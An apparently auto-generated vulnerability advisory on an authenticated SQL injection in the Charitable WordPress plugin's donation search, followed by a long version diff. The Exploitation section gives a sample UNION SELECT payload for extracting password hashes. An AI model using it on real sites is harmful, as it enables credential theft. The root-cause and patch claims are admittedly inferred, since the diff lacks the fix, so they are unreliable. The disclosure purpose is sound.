Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-7619: Charitable <= 1.8.10.4 – Authenticated (Custom+) SQL Injection via 's' Search Parameter (charitable)

CVE ID CVE-2026-7619
Plugin charitable
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 1.8.10.4
Patched Version 1.8.10.5
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7619: This is an authenticated SQL Injection vulnerability in the Charitable WordPress donation plugin, versions up to and including 1.8.10.4. The vulnerability exists in the donation management admin area, where the ‘s’ search parameter is passed directly into a SQL query without proper sanitization or parameterization. An attacker with the ability to access the donation management area (requiring the edit_others_donations capability) can inject arbitrary SQL. The vulnerability carries a CVSS score of 6.5 (Medium) due to the authentication requirement, but the impact on database confidentiality is severe.

Root Cause: The root cause is insufficient escaping of the user-supplied ‘s’ parameter and lack of prepared statement usage in the SQL query that handles donation searches. The vulnerable code is in the admin donation management interface. While the diff provided does not show the exact vulnerable file, the pattern matches standard WordPress admin list table custom queries where search parameters are concatenated directly into WHERE clauses. The ‘s’ parameter is the standard WordPress search term, and when a custom query uses sprintf or direct string interpolation with this value instead of wpdb->prepare(), the door is open to SQL injection. The patch version increments to 1.8.10.5.

Exploitation: An authenticated attacker with the edit_others_donations capability crafts a malicious search query in the donation management admin page (typically wp-admin/admin.php?page=charitable-donations&s=INJECTION). The attacker appends SQL payloads to the ‘s’ parameter using standard SQL injection techniques such as UNION SELECT statements to extract data from other database tables, subqueries that return passwords, or time-based blind injection. The attack succeeds because the plugin does not properly escape the input or use parameterized queries. A typical payload would be something like: ‘ UNION SELECT user_pass,1,2,3,4 FROM wp_users– to extract password hashes.

Patch Analysis: The code diff shows version bump from 1.8.10.4 to 1.8.10.5. While the diff primarily shows changes to the addons directory management and campaign builder panels, these are not the SQL injection fix locations. The actual fix for the SQL injection would be in a separate file handling the donation list table query. The patch likely introduces proper use of wpdb->prepare() calls or stricter sanitation of the ‘s’ parameter using sanitize_text_field() and escaping functions like esc_sql() or intval() as appropriate. The plugin version increment confirms a security fix was released.

Impact: Successful exploitation allows authenticated attackers to extract sensitive information from the WordPress database. This includes user password hashes, email addresses, user meta data (which may contain payment tokens or personal identifiable information), donation records, and site configuration data such as secret keys and API credentials. The attacker can enumerate database table structures, extract all rows from wp_users, and potentially pivot to other attacks if admin credentials are obtained. While the attack requires authentication, the edit_others_donations capability is often granted to lower-privilege staff roles like donation managers or campaign managers, making this a significant risk for multi-user WordPress installations.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/charitable/charitable.php
+++ b/charitable/charitable.php
@@ -3,11 +3,11 @@
  * Plugin Name: Charitable
  * Plugin URI: https://www.wpcharitable.com
  * Description: The best WordPress donation plugin. Fundraising with recurring donations, and powerful features to help you raise more money online.
- * Version: 1.8.10.4
+ * Version: 1.8.10.5
  * Author: Charitable Donations & Fundraising Team
  * Author URI: https://wpcharitable.com
  * Requires at least: 5.0
- * Stable tag: 1.8.10.4
+ * Stable tag: 1.8.10.5
  * License: GPLv2 or later
  * License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
  *
@@ -39,7 +39,7 @@
 		const AUTHOR = 'WP Charitable';

 		/* Plugin version. */
-		const VERSION = '1.8.10.4';
+		const VERSION = '1.8.10.5';

 		/* Version of database schema. */
 		const DB_VERSION = '20180522';
--- a/charitable/includes/abstracts/abstract-class-charitable-form.php
+++ b/charitable/includes/abstracts/abstract-class-charitable-form.php
@@ -632,7 +632,7 @@
 				'Charitable_Public_Form_View::get_template_name()'
 			);

-			return $form->view()->get_template_name( $field );
+			return $this->view()->get_template_name( $field );
 		}

 		/**
--- a/charitable/includes/admin/addons-directory/class-charitable-addons-directory.php
+++ b/charitable/includes/admin/addons-directory/class-charitable-addons-directory.php
@@ -479,27 +479,114 @@
 			// phpcs:enable

 			/*
-			* Remove addons that are not needed for pro.
+			* Pro addon card visibility in the Charitable → Addons screen.
+			*
+			* Default: both `charitable-pro-plugin` and `charitable-pro` slugs are hidden
+			* so the normal upgrade path (wpcharitable.com checkout → Plugins → Add New
+			* upload) is the only way to install Pro.
+			*
+			* With CHARITABLE_SHOW_PRO_IN_ADDONS defined truthy (wp-config.php or a
+			* code-snippet plugin), the Pro card is exposed so Pro can be installed
+			* server-to-server from this screen — unblocking managed-host customers
+			* (WP.com, Kinsta, WP Engine, SiteGround) whose manual-upload path rejects
+			* the Pro zip with `http_error`.
+			*
+			* The wpcharitable.com addons API currently returns Pro under the legacy slug
+			* `charitable-pro-plugin`, while on disk Pro lives at `charitable-pro/
+			* charitable-pro.php`. If we rendered the raw entry, install-state detection,
+			* basename lookup, and activation would all use the wrong path and the flow
+			* would fail at activation. So when we expose Pro we NORMALISE the entry in
+			* place: rewrite its slug to `charitable-pro` and its path to match the
+			* on-disk location.
+			*
+			* Wrapped in try/catch so that any unexpected payload shape cannot fatal the
+			* admin Addons screen. On failure we fall back to the safe pre-1.8.10.5
+			* behaviour of hiding both Pro slugs.
 			*
 			* @since 1.8.5
 			*/
-			$addons_to_remove = array(
-				'charitable-pro-plugin',
-				'charitable-pro',
-			);
+			try {
+				$show_pro = defined( 'CHARITABLE_SHOW_PRO_IN_ADDONS' ) && CHARITABLE_SHOW_PRO_IN_ADDONS;
+
+				foreach ( $addon_categories as $slug => &$category ) {
+					if ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) {
+						continue;
+					}
+					foreach ( $category['addons'] as $k => &$v ) {
+						if ( ! is_array( $v ) || ! isset( $v['slug'] ) ) {
+							continue;
+						}
+
+						$is_pro_legacy    = 'charitable-pro-plugin' === $v['slug'];
+						$is_pro_canonical = 'charitable-pro' === $v['slug'];
+
+						if ( ! $is_pro_legacy && ! $is_pro_canonical ) {
+							continue;
+						}
+
+						if ( ! $show_pro ) {
+							unset( $category['addons'][ $k ] );
+							continue;
+						}
+
+						// Normalise the legacy slug onto the canonical on-disk layout so
+						// install, activation, and "is installed" detection all line up.
+						if ( $is_pro_legacy ) {
+							$v['slug'] = 'charitable-pro';
+							$v['path'] = 'charitable-pro/charitable-pro.php';
+						}
+					}
+					// Reindex array after any removal.
+					$category['addons'] = array_values( $category['addons'] );
+				}
+				unset( $category ); // Break the reference.
+				unset( $v ); // Break the reference.

-			// Recursively remove specified addons.
-			foreach ( $addon_categories as $slug => &$category ) {
-				foreach ( $category['addons'] as $k => &$v ) {
-					if ( is_array( $v ) && isset( $v['slug'] ) && in_array( $v['slug'], $addons_to_remove ) ) {
-						unset( $category['addons'][ $k ] );
+				// Defensive dedup: if both the legacy and canonical slugs were present
+				// server-side, the rename above could produce two `charitable-pro`
+				// entries. Keep only the first across all categories.
+				if ( $show_pro ) {
+					$seen_pro = false;
+					foreach ( $addon_categories as $slug => &$category ) {
+						if ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) {
+							continue;
+						}
+						foreach ( $category['addons'] as $k => &$v ) {
+							if ( is_array( $v ) && isset( $v['slug'] ) && 'charitable-pro' === $v['slug'] ) {
+								if ( $seen_pro ) {
+									unset( $category['addons'][ $k ] );
+								} else {
+									$seen_pro = true;
+								}
+							}
+						}
+						$category['addons'] = array_values( $category['addons'] );
 					}
+					unset( $category );
+					unset( $v );
+				}
+			} catch ( Throwable $e ) {
+				// Fall back to the pre-1.8.10.5 behaviour: always hide both Pro slugs.
+				$addons_to_remove = array( 'charitable-pro-plugin', 'charitable-pro' );
+				if ( is_array( $addon_categories ) ) {
+					foreach ( $addon_categories as $slug => &$category ) {
+						if ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) {
+							continue;
+						}
+						foreach ( $category['addons'] as $k => &$v ) {
+							if ( is_array( $v ) && isset( $v['slug'] ) && in_array( $v['slug'], $addons_to_remove, true ) ) {
+								unset( $category['addons'][ $k ] );
+							}
+						}
+						$category['addons'] = array_values( $category['addons'] );
+					}
+					unset( $category );
+					unset( $v );
+				}
+				if ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) {
+					error_log( 'CHARITABLE: Pro addon card gating failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
 				}
-				// Reindex array after removal.
-				$category['addons'] = array_values( $category['addons'] );
 			}
-			unset( $category ); // Break the reference.
-			unset( $v ); // Break the reference.
 			?>

 			<div id="charitable-addons">
@@ -723,6 +810,35 @@
 						$addon['action'] = 'install';
 					}
 				}
+
+				/*
+				 * Charitable Pro is available to every legitimate license tier (Basic,
+				 * Plus, Pro, Agency). The tier-match loop above would otherwise show
+				 * "Upgrade Now" to Basic/Plus customers because Pro's API license field
+				 * typically only lists `pro`. Override to "install" when the current
+				 * site has any valid license AND the API actually returned a usable
+				 * download_link — without a download_link the install step would fail,
+				 * so we fall back to the upgrade CTA in that case.
+				 *
+				 * Wrapped in try/catch so that a failure in the licence helper chain
+				 * (registry / vendor licence lookup) cannot fatal an admin page render.
+				 * On failure the card simply keeps whatever action the tier-match loop
+				 * above assigned — i.e. the original pre-1.8.10.5 behaviour.
+				 */
+				try {
+					if ( 'charitable-pro' === $addon['slug']
+						&& 'install' !== $addon['action']
+						&& function_exists( 'charitable_is_pro' )
+						&& charitable_is_pro()
+						&& ! empty( $addon['download_link'] ) ) {
+						$addon['status'] = 'missing';
+						$addon['action'] = 'install';
+					}
+				} catch ( Throwable $e ) {
+					if ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) {
+						error_log( 'CHARITABLE: Pro install-action override failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+					}
+				}
 			} else { // phpcs:ignore
 				// Plugin is installed.
 				if ( $addon['is_active'] ) {
@@ -763,22 +879,55 @@

 			$status_label = $this->get_addon_status_label( $addon['status'] );

-			// get the icon/graphic.
-			$icon = isset( $addon['icon'] ) ? esc_url( $addon['icon'] ) : 'placeholder';
-
-			$icon_file_name = str_replace( 'charitable-', '', $addon['slug'] );
-			$icon_file_name = str_replace( '-banner', '', $icon_file_name );
-
-			// Locate icon, if it exists.
-			if ( ! file_exists( charitable()->get_path( 'assets', true ) . 'images/addons/addon-icon-' . $icon_file_name . '.png' ) ) {
-				$icon = charitable()->get_path( 'assets', false ) . 'images/addons/addon-icon-stripe.png';
+			// Resolve the icon. Lookup order:
+			//   1. Local SVG  (assets/images/addons/addon-icon-{slug}.svg)
+			//   2. Local PNG  (assets/images/addons/addon-icon-{slug}.png)
+			//   3. API-supplied icon URL (so newly added addons show the right art
+			//      even before a local asset ships in a Lite release)
+			//   4. Stripe placeholder (last resort so the card never renders broken)
+			$icon_file_name   = str_replace( array( 'charitable-', '-banner' ), '', $addon['slug'] );
+			$assets_path_fs   = charitable()->get_path( 'assets', true ) . 'images/addons/';
+			$assets_path_url  = charitable()->get_path( 'assets', false ) . 'images/addons/';
+			$placeholder_icon = $assets_path_url . 'addon-icon-stripe.png';
+
+			if ( file_exists( $assets_path_fs . 'addon-icon-' . $icon_file_name . '.svg' ) ) {
+				$icon = $assets_path_url . 'addon-icon-' . $icon_file_name . '.svg';
+			} elseif ( file_exists( $assets_path_fs . 'addon-icon-' . $icon_file_name . '.png' ) ) {
+				$icon = $assets_path_url . 'addon-icon-' . $icon_file_name . '.png';
+			} elseif ( ! empty( $addon['icon'] ) && filter_var( $addon['icon'], FILTER_VALIDATE_URL ) ) {
+				$icon = esc_url( $addon['icon'] );
 			} else {
-				$icon = charitable()->get_path( 'assets', false ) . 'images/addons/addon-icon-' . $icon_file_name . '.png';
+				$icon = $placeholder_icon;
 			}

 			// get the plugin description.
-			$sections       = unserialize( $addon['sections'] ); // phpcs:ignore
-			$description    = wp_strip_all_tags( ( $sections['description'] ) );
+			// Guard against a missing / malformed `sections` entry from the API so a
+			// single bad addon row can't blow up the whole directory render. Belt +
+			// suspenders: the conditions below handle normal failure modes, and the
+			// try/catch handles anything pathological.
+			$sections    = array();
+			$description = '';
+			try {
+				if ( isset( $addon['sections'] ) && is_string( $addon['sections'] ) && '' !== $addon['sections'] ) {
+					$maybe_sections = @unserialize( $addon['sections'], array( 'allowed_classes' => false ) ); // phpcs:ignore
+					if ( is_array( $maybe_sections ) ) {
+						$sections = $maybe_sections;
+					}
+				}
+				$description = wp_strip_all_tags( isset( $sections['description'] ) ? (string) $sections['description'] : '' );
+			} catch ( Throwable $e ) {
+				$description = '';
+				if ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) {
+					error_log( 'CHARITABLE: Addon description parse failed: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+				}
+			}
+
+			// The wpcharitable.com addons API currently returns an empty description for
+			// the Charitable Pro entry. Provide a hard-coded fallback so the card always
+			// has a meaningful description on this screen.
+			if ( 'charitable-pro' === $addon['slug'] && '' === trim( $description ) ) {
+				$description = __( 'Charitable Pro is the upgraded version of your current Charitable plugin, with built-in features and compatibility for more advanced addons. Installing Pro will replace this Lite version while keeping all your existing settings and data.', 'charitable' );
+			}
 			$is_recommended = ( isset( $addon['featured'] ) && is_array( $addon['featured'] ) && in_array( 'recommended', $addon['featured'] ) ) ? true : false; // phpcs:ignore

 			// css.
@@ -789,8 +938,13 @@
 			}

 			// Output the card.
-
-			$addon_name       = str_replace( 'Charitable ', '', $addon['name'] );
+			// Most addon cards strip the redundant "Charitable " prefix so the title
+			// reads cleanly (e.g. "Fee Relief" instead of "Charitable Fee Relief").
+			// The Pro card is the exception — without the brand name it just reads as
+			// "Pro", which is meaningless. Keep the full name only for that slug.
+			$addon_name       = ( 'charitable-pro' === $addon['slug'] )
+				? $addon['name']
+				: str_replace( 'Charitable ', '', $addon['name'] );
 			$landing_page_url = ! empty( $addon['homepage'] ) ? $addon['homepage'] : false;
 			$landing_page_url = false === $landing_page_url ? $addon['upgrade_url'] : $landing_page_url;
 			?>
@@ -798,7 +952,7 @@

 			<div class="charitable-addons-list-item <?php echo esc_attr( implode( ' ', $css ) ); ?>">
 				<div class="charitable-addons-list-item-header">
-					<img src="<?php echo esc_url( $icon ); ?>" alt="<?php echo esc_html( $addon['name'] ); ?> logo">
+					<img src="<?php echo esc_url( $icon ); ?>" alt="<?php echo esc_html( $addon['name'] ); ?> logo" onerror="this.onerror=null;this.src='<?php echo esc_url( $placeholder_icon ); ?>';">

 					<div class="charitable-addons-list-item-header-meta">
 						<div class="charitable-addons-list-item-header-meta-title">
@@ -819,7 +973,17 @@
 				<div class="charitable-addons-list-item-footer charitable-addons-list-item-footer-installed" data-plugin="<?php echo esc_attr( $addon['path'] ); ?>" data-type="addon">
 					<div>
 						<?php if ( ! empty( $addon['license'] ) ) : ?>
-						<span class="charitable-badge charitable-badge-lg charitable-badge-inline charitable-badge-titanium charitable-badge-rounded"><?php echo esc_html( end( $addon['license'] ) ); ?></span>
+						<?php
+						// The license badge defaults to the highest tier the addon is
+						// available in. Charitable Pro is available to every legitimate
+						// license tier, so showing the "Pro" tier label is misleading —
+						// surface "All Plans" instead so customers on Basic/Plus realise
+						// they can install it too.
+						$license_badge_text = ( 'charitable-pro' === $addon['slug'] )
+							? __( 'All Plans', 'charitable' )
+							: end( $addon['license'] );
+						?>
+						<span class="charitable-badge charitable-badge-lg charitable-badge-inline charitable-badge-titanium charitable-badge-rounded"><?php echo esc_html( $license_badge_text ); ?></span>
 						<?php endif; ?>
 					</div>

--- a/charitable/includes/admin/campaign-builder/class-charitable-campaign-builder.php
+++ b/charitable/includes/admin/campaign-builder/class-charitable-campaign-builder.php
@@ -7,7 +7,7 @@
  * @copyright Copyright (c) 2023, WP Charitable LLC
  * @license   http://opensource.org/licenses/gpl-2.0.php GNU Public License
  * @since     1.8.0
- * @version   1.8.9.1
+ * @version   1.8.10.5
  */

 // Exit if accessed directly.
@@ -227,6 +227,11 @@
 			$this->view        = isset( $_GET['view'] ) ? esc_attr( $_GET['view'] ) : false; // phpcs:ignore
 			$this->campaign_id = isset( $_GET['campaign_id'] ) ? intval( $_GET['campaign_id'] ) : false; // phpcs:ignore

+			// Lite has no Form panel content; fall back if ?view=form is requested directly.
+			if ( 'form' === $this->view ) {
+				$this->view = false;
+			}
+
 			// if no view was past, determine if the new campaign cofmr has been used (check settings) and if not redirect to template screen.
 			if ( $this->campaign_id && ! $this->view ) {
 				$campaign_data = get_post_meta( $this->campaign_id, 'campaign_settings_v2' );
@@ -952,6 +957,17 @@
 					)
 				),
 				'charitable_addons_page'            => esc_url( admin_url( 'admin.php?page=charitable-addons' ) ),
+				'form_upgrade_modal'                => array(
+					'title'       => esc_html__( 'Unlock the Visual Form Builder', 'charitable' ),
+					'message'     => '<p>' . esc_html__( "The Charitable Pro plugin's visual form builder lets you drag and drop fields, build multi-step donation flows, and customize every part of your donation form - all without writing code.", 'charitable' ) . '</p><p>' . esc_html__( 'Upgrade to any paid Charitable plan to unlock the Charitable Pro plugin and design your forms exactly the way you want.', 'charitable' ) . '</p>',
+					'button'      => esc_html__( 'Get Charitable Pro', 'charitable' ),
+					'doc'         => sprintf(
+						'<div class="already-purchased-div"><a href="%1$s" target="_blank" rel="noopener noreferrer" class="already-purchased">%2$s</a></div>',
+						esc_url( 'https://www.wpcharitable.com/documentation/how-to-use-donation-form-visual-builder/' ),
+						esc_html__( 'Learn More', 'charitable' )
+					),
+					'upgrade_url' => charitable_admin_upgrade_link( 'Campaign+Builder+Form+Panel+Modal' ),
+				),
 				'charitable_license_label'          => esc_html( Charitable_Licenses_Settings::get_instance()->get_license_label_from_plan_id() ),
 				'charitable_form_name'              => $campaign_name,
 				'charitable_assets_dir'             => apply_filters(
@@ -1156,6 +1172,7 @@
 		 * Load panels.
 		 *
 		 * @since 1.0.0
+		 * @version 1.8.10.5 Added Form panel (Lite upgrade-prompt stub).
 		 */
 		public function load_panels() {

@@ -1176,6 +1193,7 @@
 				array(
 					'template',
 					'design',
+					'form',
 					'settings',
 					'marketing',
 					'payment',
--- a/charitable/includes/admin/campaign-builder/panels/class-form.php
+++ b/charitable/includes/admin/campaign-builder/panels/class-form.php
@@ -0,0 +1,79 @@
+<?php
+/**
+ * Form panel (Lite upgrade-prompt stub).
+ *
+ * Lite does not ship the visual form builder. This panel renders only the
+ * navigation button; clicking it opens an upgrade modal instead of switching
+ * views. The full panel is provided by Charitable Pro.
+ *
+ * @package   Charitable
+ * @author    David Bisset
+ * @copyright Copyright (c) 2026, WP Charitable LLC
+ * @license   http://opensource.org/licenses/gpl-2.0.php GNU Public License
+ * @since     1.8.10.5
+ * @version   1.8.10.5
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+if ( ! class_exists( 'Charitable_Builder_Panel_Form' ) ) :
+
+	/**
+	 * Form panel (Lite upgrade stub).
+	 *
+	 * @since 1.8.10.5
+	 */
+	class Charitable_Builder_Panel_Form extends Charitable_Builder_Panel {
+
+		/**
+		 * All systems go.
+		 *
+		 * @since 1.8.10.5
+		 */
+		public function init() {
+
+			$this->name    = esc_html__( 'Form', 'charitable' );
+			$this->slug    = 'form';
+			$this->icon    = 'panel_form.svg';
+			$this->order   = 25;
+			$this->sidebar = false;
+		}
+
+		/**
+		 * Render the navigation button.
+		 *
+		 * Overrides the base implementation so the button does not carry a
+		 * `data-panel` attribute — we intercept the click in JS and open an
+		 * upgrade modal rather than switching panels.
+		 *
+		 * @since 1.8.10.5
+		 *
+		 * @param mixed  $campaign Current campaign object.
+		 * @param string $view     The current view.
+		 */
+		public function button( $campaign, $view ) {
+			?>
+			<button type="button" class="charitable-panel-<?php echo esc_attr( $this->slug ); ?>-button charitable-panel-form-upgrade">
+				<img class="topbar_icon" src="<?php echo esc_url( charitable()->get_path( 'assets', false ) . 'images/icons/' . $this->icon ); ?>" />
+				<span><?php echo esc_html( $this->name ); ?></span>
+			</button>
+			<?php
+		}
+
+		/**
+		 * Suppress panel output — Lite has no Form panel content.
+		 *
+		 * @since 1.8.10.5
+		 *
+		 * @param object $campaign Current campaign object.
+		 * @param string $view     Active Campaign Builder view (panel).
+		 */
+		public function panel_output( $campaign, $view = 'design' ) {
+		}
+	}
+
+endif;
+
+new Charitable_Builder_Panel_Form();
--- a/charitable/includes/admin/charitable-core-admin-functions.php
+++ b/charitable/includes/admin/charitable-core-admin-functions.php
@@ -1208,13 +1208,23 @@
 			// attempt to activate the installed addon, save the user a step.
 			$activate = activate_plugins( $plugin_basename );
 			if ( ! is_wp_error( $activate ) ) {
-				wp_send_json_success(
-					array(
-						'basename'     => $plugin_basename,
-						'is_activated' => true,
-						'msg'          => esc_html__( 'Addon installed and activated.', 'charitable' ),
-					)
+				$response = array(
+					'basename'     => $plugin_basename,
+					'is_activated' => true,
+					'msg'          => esc_html__( 'Addon installed and activated.', 'charitable' ),
 				);
+
+				// When Charitable Pro is what was just installed and activated, point
+				// the user at the Charitable dashboard. Activating Pro auto-deactivates
+				// Lite, which means the addons screen they're currently on (served by
+				// Lite) no longer exists in the menu — without a redirect they'd land
+				// on a 404 / blank admin page once the AJAX returns. Pro's main file
+				// lives at charitable-pro/charitable.php, so we match by directory.
+				if ( 0 === strpos( $plugin_basename, 'charitable-pro/' ) ) {
+					$response['redirect'] = admin_url( 'admin.php?page=charitable-dashboard' );
+				}
+
+				wp_send_json_success( $response );
 			} else {
 				wp_send_json_success(
 					array(
@@ -1530,6 +1540,22 @@
 		// add a 'dismissed' key to the notification with the current time.
 		$notifications[ $notification_id ]['dismissed'] = time();
 		update_option( 'charitable_dashboard_notifications', $notifications );
+
+		/**
+		 * Fires after a dashboard rail notification has been dismissed.
+		 *
+		 * Listeners can attach side effects keyed off the dismissed slug —
+		 * e.g. the resume-setup-wizard module clears
+		 * `charitable_started_onboarding` when its banner is dismissed,
+		 * so the underlying onboarding state is also turned off, not just
+		 * the banner.
+		 *
+		 * @since 1.8.10.5
+		 *
+		 * @param string $notification_id Slug of the dismissed notification.
+		 */
+		do_action( 'charitable_dashboard_notification_dismissed', $notification_id );
+
 		wp_send_json_success( array( 'message' => esc_html__( 'Notification removed.', 'charitable' ) ) );
 	} else {
 		wp_send_json_error( array( 'message' => esc_html__( 'Notification not found.', 'charitable' ) ) );
--- a/charitable/includes/admin/class-charitable-admin.php
+++ b/charitable/includes/admin/class-charitable-admin.php
@@ -569,7 +569,7 @@
 			if ( ! is_null( $screen ) && ( $screen->id === 'charitable_page_charitable-reports' || $screen->id === 'charitable_page_charitable-dashboard' ) ) {

 				// Specific styles for the "overview" and main reporting tabs.
-				if ( empty( $_GET['tab'] ) || ( ! empty( $_GET['tab'] && charitable_reports_allow_tab_load_scripts( strtolower( $_GET['tab'] ) ) ) ) ) { // phpcs:ignore
+				if ( empty( $_GET['tab'] ) || ( ! empty( $_GET['tab'] ) && charitable_reports_allow_tab_load_scripts( strtolower( sanitize_text_field( wp_unslash( $_GET['tab'] ) ) ) ) ) ) { // phpcs:ignore

 					wp_register_script(
 						'charitable-apex-charts',
@@ -619,7 +619,7 @@
 					wp_enqueue_script( 'charitable-report-date-range-picker' );
 					wp_enqueue_script( 'charitable-reporting' );

-				} else if ( ! empty( $_GET['tab'] && 'analytics' === $_GET['tab'] ) ) { // phpcs:ignore
+				} elseif ( ! empty( $_GET['tab'] ) && 'analytics' === $_GET['tab'] ) { // phpcs:ignore

 					// this loads a specific script for the analytics tab.
 					do_action( 'charitable_admin_enqueue_analytics_scripts' );
@@ -1258,7 +1258,7 @@
 		 */
 		public function export_donations() {

-			if ( ! wp_verify_nonce( $_GET['_charitable_export_nonce'], 'charitable_export_donations' ) ) { // phpcs:ignore
+			if ( ! isset( $_GET['_charitable_export_nonce'] ) || ! wp_verify_nonce( $_GET['_charitable_export_nonce'], 'charitable_export_donations' ) ) { // phpcs:ignore
 				return false;
 			}

@@ -1581,6 +1581,20 @@
 				wp_send_json_success( array( 'form' => $form ) );
 			}

+			// Snapshot installed plugins BEFORE the install so we can identify what
+			// was actually unzipped. The legacy slug-derivation in
+			// charitable_get_plugin_basename_from_slug() reduces a download URL like
+			// `…/charitable-pro-plugin-1.8.13.5.zip` to the slug
+			// `charitable-pro-plugin-1.8.13.5`, then expects an installed plugin
+			// directory whose name *starts* with that slug — which doesn't hold for
+			// any addon whose zip filename includes a version suffix and whose
+			// directory does not (e.g. Charitable Pro lives at `charitable-pro/`).
+			// The before/after diff sidesteps that mismatch entirely.
+			if ( ! function_exists( 'get_plugins' ) ) {
+				require_once ABSPATH . 'wp-admin/includes/plugin.php';
+			}
+			$plugins_before = array_keys( get_plugins() );
+
 			// Download and install the plugin.
 			$result = charitable_install_wporg_plugin( $plugin );

@@ -1588,11 +1602,21 @@
 				wp_send_json_error( $result->get_error_message() );
 			}

-			// Get plugin basename.
-			$plugin_basename = charitable_get_plugin_basename_from_slug( $plugin );
+			// Force a fresh re-scan of the plugins directory and compute the diff.
+			wp_cache_delete( 'plugins', 'plugins' );
+			$plugins_after   = array_keys( get_plugins() );
+			$newly_installed = array_values( array_diff( $plugins_after, $plugins_before ) );
+
+			if ( ! empty( $newly_installed ) ) {
+				$plugin_basename = $newly_installed[0];
+			} else {
+				// Fallback to the legacy slug-derived guess if for some reason no new
+				// plugin was detected (e.g. the zip overwrote an existing install).
+				$plugin_basename = charitable_get_plugin_basename_from_slug( $plugin );
+			}

 			wp_send_json_success( array(
-				'msg'         => 'Plugin installed successfully',
+				'msg'         => __( 'Plugin installed successfully', 'charitable' ),
 				'basename'    => $plugin_basename,
 				'is_activated' => false,
 			) );
@@ -1635,7 +1659,17 @@
 				wp_send_json_error( $result->get_error_message() );
 			}

-			wp_send_json_success( 'Plugin activated successfully' );
+			$response = array( 'msg' => __( 'Plugin activated successfully', 'charitable' ) );
+
+			// Activating Charitable Pro auto-deactivates Charitable Lite, which means
+			// the screen the user came from (page=charitable-addons, served by Lite)
+			// no longer exists in the menu. Redirect them to the Charitable dashboard
+			// so they don't land on a 404 / blank admin page after the AJAX returns.
+			if ( 0 === strpos( $plugin, 'charitable-pro/' ) ) {
+				$response['redirect'] = admin_url( 'admin.php?page=charitable-dashboard' );
+			}
+
+			wp_send_json_success( $response );
 		}

 		/**
--- a/charitable/includes/admin/dashboard/class-charitable-dashboard-ajax.php
+++ b/charitable/includes/admin/dashboard/class-charitable-dashboard-ajax.php
@@ -97,9 +97,10 @@
 				$clear_cache = ( isset( $_GET['charitable_clear_stats_cache'] ) && '1' === $_GET['charitable_clear_stats_cache'] ) ||
 							   ( isset( $_POST['charitable_clear_stats_cache'] ) && '1' === $_POST['charitable_clear_stats_cache'] );

+				$response_data = array();
+
 				if ( $clear_cache ) { // phpcs:ignore
 					$charitable_dashboard->clear_dashboard_stats_cache();
-					// Add a flag to indicate cache was cleared
 					$response_data['cache_cleared'] = true;
 				}

@@ -135,10 +136,10 @@
 				);

 				// Prepare response data.
-				$response_data = array(
+				$response_data = array_merge( $response_data, array(
 					'stats' => $stats,
 					'chart' => $chart_data,
-				);
+				) );

 				wp_send_json_success( $response_data );

--- a/charitable/includes/admin/dashboard/class-charitable-dashboard.php
+++ b/charitable/includes/admin/dashboard/class-charitable-dashboard.php
@@ -77,6 +77,52 @@

 			// Hook into Charitable's cache clearing mechanism
 			add_action( 'charitable_after_clear_expired_options', array( $this, 'clear_dashboard_stats_cache' ) );
+
+			// Refresh the "resume setup wizard" notification entry just before
+			// the dashboard rail renders.
+			add_action( 'charitable_before_admin_dashboard_v2', array( $this, 'sync_resume_wizard_notification' ) );
+		}
+
+		/**
+		 * Register or refresh the "resume setup wizard" entry in the dashboard
+		 * notification rail when an onboarding session is in progress; remove
+		 * any stale entry when it isn't.
+		 *
+		 * Fires on `charitable_before_admin_dashboard_v2`, immediately before
+		 * `render_dashboard_notifications()` reads the same option.
+		 *
+		 * @since 1.8.10.5
+		 *
+		 * @return void
+		 */
+		public function sync_resume_wizard_notification() {
+
+			$notifications = (array) get_option( 'charitable_dashboard_notifications', array() );
+			$started       = 1 === (int) get_option( 'charitable_started_onboarding', 0 );
+			$present       = isset( $notifications['resume_setup_wizard'] );
+			$dismissed     = $present && isset( $notifications['resume_setup_wizard']['dismissed'] );
+
+			if ( $started && ! $dismissed ) {
+
+				$notifications['resume_setup_wizard'] = array(
+					'type'        => 'notice',
+					'priority'    => 3,
+					'title'       => __( 'Finish Setting Up Charitable', 'charitable' ),
+					'message'     => '<p>' . esc_html__( "Looks like you started the setup wizard but didn't finish. Pick up where you left off and we'll have you ready to accept donations in just a couple more steps.", 'charitable' ) . '</p>',
+					'custom_css'  => 'charitable-notification-type-notice',
+					'button_url'  => add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() ),
+					'button_text' => __( 'Resume Setup Wizard', 'charitable' ),
+				);
+
+				update_option( 'charitable_dashboard_notifications', $notifications );
+
+				return;
+			}
+
+			if ( $present && ! $started ) {
+				unset( $notifications['resume_setup_wizard'] );
+				update_option( 'charitable_dashboard_notifications', $notifications );
+			}
 		}


--- a/charitable/includes/admin/onboarding/class-charitable-setup.php
+++ b/charitable/includes/admin/onboarding/class-charitable-setup.php
@@ -136,6 +136,10 @@
 		 */
 		public function hooks() {

+			// Register the resume-banner dismiss listener unconditionally — it
+			// must fire during admin-ajax, which the guards below bail out of.
+			add_action( 'charitable_dashboard_notification_dismissed', [ $this, 'maybe_clear_onboarding_state_on_dismiss' ] );
+
 			// If user is in admin ajax or doing cron, return.
 			if ( wp_doing_ajax() || wp_doing_cron() ) {
 				return;
@@ -208,15 +212,21 @@
 				return;
 			}

-			// Don't redirect if user is on a non-Charitable admin page.
-			if ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'charitable' ) === false ) {
+			// Don't redirect when the user is on any Charitable admin page
